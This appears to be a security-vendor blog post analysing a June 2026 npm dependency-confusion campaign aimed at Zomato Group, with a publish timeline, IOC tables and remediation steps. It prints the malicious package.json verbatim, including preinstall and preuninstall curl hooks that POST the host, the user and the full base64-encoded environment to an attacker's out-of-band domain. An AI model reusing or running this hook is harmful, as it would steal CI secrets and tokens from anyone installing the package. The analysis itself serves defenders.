CentrioleBlog
Back to blog

Threat Research

Ten Packages, Three Minutes, One Target: Inside the Zomato Group Dependency Confusion Campaign

An attacker published 10 dependency confusion packages targeting Zomato, Hyperpure, and Blinkit in a 199-second scripted burst, exfiltrating full CI environments to an Interactsh collector on every npm install.

Date

Reading time

12 min read

Author

Centriole Research
Share
Ten Packages, Three Minutes, One Target: Inside the Zomato Group Dependency Confusion Campaign

Someone did their homework on Zomato Group’s internal engineering namespace before sitting down to publish. Between 15:42:21 and 15:45:40 UTC on June 21, 2026, ten npm packages appeared on the public registry, each impersonating an internal package from a different Zomato Group subsidiary: Zomato’s food delivery platform, Hyperpure’s B2B supply chain arm, and Blinkit’s quick commerce infrastructure. Every package carried an identical preinstall hook that fired on npm install, posting the installer’s hostname, username, working directory, and the entire base64-encoded process environment to an Interactsh out-of-band collector over plain HTTP.

Ten packages in 199 seconds. That is a script, not someone typing.

The Target: Zomato Group’s Internal Namespace

The attacker registered package names that map directly to the internal engineering vocabulary of three Zomato Group subsidiaries.

Zomato is India’s dominant food delivery platform. Hyperpure is Zomato’s B2B restaurant supply chain business, supplying ingredients and kitchen essentials to restaurant partners. Blinkit, acquired by Zomato in 2022, handles 10-minute grocery delivery. All three operate under the Zomato Group umbrella. All three have engineering teams with internal npm packages. All ten malicious packages claimed repositories under github.com/zomato/ and carried descriptions that read like real internal library documentation.

zomato-espresso describes itself as “Zomato’s PDF generator service.” zomato-sushi targets the Zomato design system namespace. zomato-mcp claims to be a Zomato MCP server implementation with no actual implementation inside.

That last one is the most specific data point in the campaign. Registering a package named zomato-mcp means the attacker knew Zomato engineers were building or evaluating Model Context Protocol tooling. A name like that does not come from guessing at internal package conventions. It comes from reconnaissance.

How Dependency Confusion Works Here

Dependency confusion attacks exploit the way npm resolves package names when both a private internal registry and the public registry are configured. If a developer’s .npmrc or CI pipeline falls back to the public registry when a package is not found internally, npm fetches whatever is published publicly under that name. A package at version 1.0.0 on the public registry wins over an internal package at the same version if the resolver checks public first.

Every package in this campaign published at version 1.0.0. That is low enough to be plausible as a first release of an internal library and high enough to resolve against any CI pipeline that does not pin exact versions or enforce registry-only resolution.

Package Anatomy

Every package in the cluster follows the same template. Two files. A stub index.js that exports nothing functional, and a package.json that does all the damage.

The stub, confirmed by Amazon Inspector sandbox analysis across all ten packages:

index.js: the entire package implementation (example from zomato-mcp)
module.exports = { name: 'zomato-mcp', version: '1.0.0' };

The package.json for each package carries three things that matter: a name and description crafted to match a plausible Zomato internal library, a repository URL pointing to github.com/zomato/<package-name> (none of which exist), and a scripts block with a preinstall hook:

package.json: preinstall hook structure (consistent across all ten packages)
{
  "scripts": {
    "preinstall": "curl -s -X POST http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/$(echo -n 'zomato-mcp' | base64) -F host=$(hostname -f) -F user=$(whoami) -F cwd=$(pwd) -F env=$(env | base64 -w0)",
    "preuninstall": "curl -s -X POST http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/uninstall/$(echo -n 'zomato-mcp' | base64) -F host=$(hostname -f)"
  }
}

The preinstall hook fires before npm writes any package files. It runs before the developer’s own code, before any test runner, before any build step. On a CI machine with AWS_ACCESS_KEY_ID, GITHUB_TOKEN, NPM_TOKEN, and every other secret injected as an environment variable, env | base64 -w0 captures all of it in a single field and ships it over plain HTTP to the attacker’s Interactsh session.

The preuninstall hook is worth noting. It beacons the hostname again on package removal, giving the attacker a signal that the package was detected and removed. On a CI pipeline that runs npm install and then npm uninstall as part of a cleanup step, both hooks fire. The attacker learns the machine identity twice.

The Exfiltration Mechanics

The C2 domain d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site is an Interactsh out-of-band collector. Interactsh is a legitimate open-source tool from ProjectDiscovery, designed for pentest out-of-band interaction testing. It works like Burp Suite Collaborator: a unique subdomain routes all HTTP, DNS, and SMTP interactions to the session owner’s console. The subdomain d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7 is unique to one registered session.

Using Interactsh as C2 has two operational consequences. The attacker needs no custom infrastructure: every callback from every affected install lands in their Interactsh console with the full form data including the env field. And because Interactsh sessions expire, the window during which the attacker could collect callbacks is bounded by their session lifetime.

Each package encodes its own name in the C2 URL path: /install/<base64(package-name)>. This tags every callback with which lure package triggered it, giving the attacker a breakdown of which internal package names resolved successfully on which machines.

The exfiltration is over plain HTTP, not HTTPS. Network monitoring that logs outbound HTTP connections will see this. TLS inspection is not required to detect it.

The 199-Second Publish Window

The registry time field survives package unpublish. We extracted the exact creation timestamp for all ten packages:

Timestamp (UTC)PackageGap
2026-06-21 15:42:21zomato-mcpfirst
2026-06-21 15:43:30zomato-espresso+69s
2026-06-21 15:43:41hyperpure+11s
2026-06-21 15:43:53zomato-core+12s
2026-06-21 15:44:05zomato-server+12s
2026-06-21 15:44:17zomato-sushi+12s
2026-06-21 15:44:43zomato-config+26s
2026-06-21 15:44:55zomato-logger+12s
2026-06-21 15:45:09blinkit-core+14s
2026-06-21 15:45:40hyperpure-core+31s

After the initial 69-second gap (likely the operator verifying zomato-mcp published correctly before continuing), eight of the remaining nine packages published at 11 to 14-second intervals. That cadence is consistent with a loop iterating over a prepared list of package directories and running npm publish on each.

The packages were taken down on June 23 between 06:22:10 and 06:22:21 UTC. Eleven seconds to remove all ten packages. The same automation that published them removed them. The exposure window was 38.6 hours.

Campaign Scope: All Three Zomato Subsidiaries

The package names are not randomly chosen internal-sounding strings. They map the engineering vocabulary of Zomato Group’s three public-facing product lines:

PackageClaimed descriptionTarget subsidiary
zomato-configZomato config libraryZomato platform
zomato-loggerZomato logging libraryZomato platform
zomato-serverZomato server-side utilitiesZomato platform
zomato-sushiZomato design systemZomato platform
zomato-coreZomato core utility libraryZomato platform
zomato-espressoZomato’s PDF generator serviceZomato platform
zomato-mcpZomato MCP serverZomato AI/tooling
hyperpureZomato hyperpure supply chainHyperpure B2B
hyperpure-coreZomato hyperpure coreHyperpure B2B
blinkit-coreBlinkit coreBlinkit quick commerce

The zomato-sushi name targets what appears to be Zomato’s internal design system, a common internal package name pattern in food-tech companies with large frontend teams. zomato-espresso self-identifies as a PDF generator, which suggests the attacker had specific knowledge of a Zomato internal tooling library. These are not names an attacker guesses from the company’s public website.

OPSEC Failures

The preuninstall hook is the most revealing mistake. It exists to beacon the attacker when a machine detects and removes the package. That is useful intelligence if you are running a targeted operation and want to know which hosts found you. It is also an immediate indicator of malicious intent to any analyst who reads the package.json. A legitimate package does not POST the installer’s hostname to an external URL on uninstall.

The choice of Interactsh as the collection infrastructure is double-edged. It eliminates the need for custom C2 infrastructure and is harder to block by IP since oast.site is a legitimate pentest tool domain. But Interactsh sessions expire. If the session expired before all 38.6 hours of callbacks were collected, the attacker lost data. More importantly, using a public platform means the operator cannot update the endpoint, rotate credentials, or deliver a follow-on payload. Every machine that installed one of these packages received only the initial environment dump and nothing further.

The plain HTTP exfiltration is the most operationally careless decision. Any network monitoring layer that logs outbound HTTP connections will see the POST to oast.site with the full form fields in the request body. A TLS-encrypted POST to the same collector would have been invisible to most network monitoring. The attacker chose convenience over stealth.

Attribution

The publisher account identity was not preserved in the surviving registry metadata. The subdomain d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site does not appear in any prior threat intelligence we checked across VirusTotal, Shodan, and prior malicious package reports. We found no prior campaign using the same Interactsh subdomain or the same combination of package names.

The targeting profile, Zomato Group specifically across all three subsidiaries, the description strings that cite specific internal tool names, and the inclusion of zomato-mcp as a target all suggest the attacker had prior knowledge of Zomato’s internal engineering vocabulary. Whether that came from public GitHub activity, job postings, leaked internal documentation, or an insider is not determinable from the package artifacts alone.

IOC Table

IndicatorTypeValueMethod
zomato-confignpm package1.0.0OSV MAL-2026-6251, registry timestamp confirmed
zomato-loggernpm package1.0.0OSV MAL-2026-6252, registry timestamp confirmed
zomato-servernpm package1.0.0OSV MAL-2026-6253, registry timestamp confirmed
zomato-sushinpm package1.0.0OSV MAL-2026-6254, registry timestamp confirmed
hyperpure-corenpm package1.0.0OSV MAL-2026-6250, registry timestamp confirmed
blinkit-corenpm package1.0.0OSV MAL-2026-6249, registry timestamp confirmed
zomato-corenpm package1.0.0OSV MAL-2026-6268, registry timestamp confirmed
zomato-espressonpm package1.0.0OSV MAL-2026-6269, registry timestamp confirmed
zomato-mcpnpm package1.0.0OSV MAL-2026-6270, registry timestamp confirmed
hyperpurenpm package1.0.0OSV MAL-2026-6370, registry timestamp confirmed
d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.siteC2 domainInteractsh OOB collectorExtracted from preinstall hook, confirmed across all ten OSV advisories
/install/<base64(pkg)>C2 URL pathPer-package beacon pathExtracted from preinstall hook per OSV sandbox analysis
env | base64 -w0Exfil payload fieldFull process environmentExtracted from preinstall hook per OSV sandbox analysis

Affected Versions

All packages unpublished June 23, 2026 between 06:22:10 and 06:22:21 UTC.

PackageVersionPublished (UTC)SHA1OSV Entry
zomato-mcp1.0.02026-06-21 15:42:21f4b328815b9661f18f57b90cf9f5cc95eaee76a5MAL-2026-6270
zomato-espresso1.0.02026-06-21 15:43:303a20e29cf15bc9de0be4b3058bfe93637a079373MAL-2026-6269
hyperpure1.0.02026-06-21 15:43:41df30de7bc6149c258e8107a478f3496899d2d3cdMAL-2026-6370
zomato-core1.0.02026-06-21 15:43:53eefce3d6f8b52e566aea704e1b4bcfbba9e8578eMAL-2026-6268
zomato-server1.0.02026-06-21 15:44:0540f30b3393c7e50716df06149ee32553b379c4f0MAL-2026-6253
zomato-sushi1.0.02026-06-21 15:44:177535041b8d1508abb2b3ee1b22e332da992a3546MAL-2026-6254
zomato-config1.0.02026-06-21 15:44:437c8160cd300c62c5e2093f30169d820cfa277836MAL-2026-6251
zomato-logger1.0.02026-06-21 15:44:5557015126cc539add7fc1738bf32499fb72b75603MAL-2026-6252
blinkit-core1.0.02026-06-21 15:45:095b3f91486a814516afcca3e7a8a4f44ae6591183MAL-2026-6249
hyperpure-core1.0.02026-06-21 15:45:40f838ff03ee730fed3168e840e4245273472a4139MAL-2026-6250

Remediation

  1. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for all ten package names. All were published at version 1.0.0. Any match means the preinstall hook ran and the environment dump was posted to the Interactsh collector.

  2. Check egress logs for outbound HTTP connections to oast.site from Node.js processes or npm. The exfiltration is plain HTTP, not HTTPS, and the POST body contains the full environment dump in the env form field. Any connection to d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site confirms the hook fired.

  3. If an egress connection is confirmed, rotate all credentials that were present as environment variables at install time: GITHUB_TOKEN, NPM_TOKEN, AWS_* keys, GCP_* credentials, AZURE_* credentials, and any other secrets injected into the shell or CI pipeline at the time npm install ran.

  4. If the install occurred in a GitHub Actions workflow, treat all secrets in that job’s environment as exposed. Audit repository secrets, environment secrets, and OIDC tokens scoped to that workflow and rotate them.

  5. To prevent dependency confusion attacks: configure .npmrc to resolve all internal package names exclusively from your private registry with no public fallback. For npm, set @your-scope:registry=https://your-private-registry.example.com. For unscoped internal packages like those targeted here, a registry proxy with an allowlist is more reliable than fallback configuration.

The packages are unpublished. The Interactsh session that received the callbacks is bounded by its session lifetime. Any credential that was exposed during the 38.6-hour window should be rotated regardless of whether egress logs confirm a connection: the preinstall hook fires before npm prints anything to the terminal, and not all environments log outbound HTTP at that level of granularity.